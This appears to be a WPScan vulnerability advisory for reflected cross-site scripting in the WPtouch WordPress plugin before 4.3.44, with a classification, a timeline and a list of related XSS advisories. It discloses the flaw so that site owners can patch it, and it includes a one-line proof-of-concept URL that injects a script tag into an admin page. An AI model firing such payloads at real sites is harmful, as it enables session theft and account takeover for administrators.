WordPress Plugin Vulnerabilities

WPtouch < 4.3.44 - Reflected Cross-Site Scripting

Description

The plugin does not escape an URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting

Proof of Concept

When there is a license in the plugin: https://example.com/wp-admin/admin.php?page=wptouch-admin-license&a"><script>alert(/XSS/)</script>

Affects Plugins

Plugin icon
wptouch
Fixed in 4.3.44

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
WPScan
Verified
Yes
WPVDB ID
7dbd8348-9c5d-4d62-a0f4-2b7c2b7e58e4

Timeline

Publicly Published
2022-08-29 (about 1 years ago)
Added
2022-08-29 (about 1 years ago)
Last Updated
2022-08-29 (about 1 years ago)

Other

Published
Title
Published
2014-08-01
Title
WooCommerce 2.0.17 - hide-wc-extensions-message Parameter Reflected XSS
Published
2023-05-18
Title
WeSecur Security <= 1.2.1 - Admin+ Stored Cross-Site Scripting
Published
2020-11-18
Title
Fancy Product Designer < 4.5.1 - Unauthenticated Stored Cross-Site Scripting
Published
2023-11-06
Title
WP-UserOnline < 2.88.3 - Unauthenticated Stored XSS
Published
2021-09-20
Title
Polo Video Gallery <= 1.2 - Contributor+ Stored Cross-Site Scripting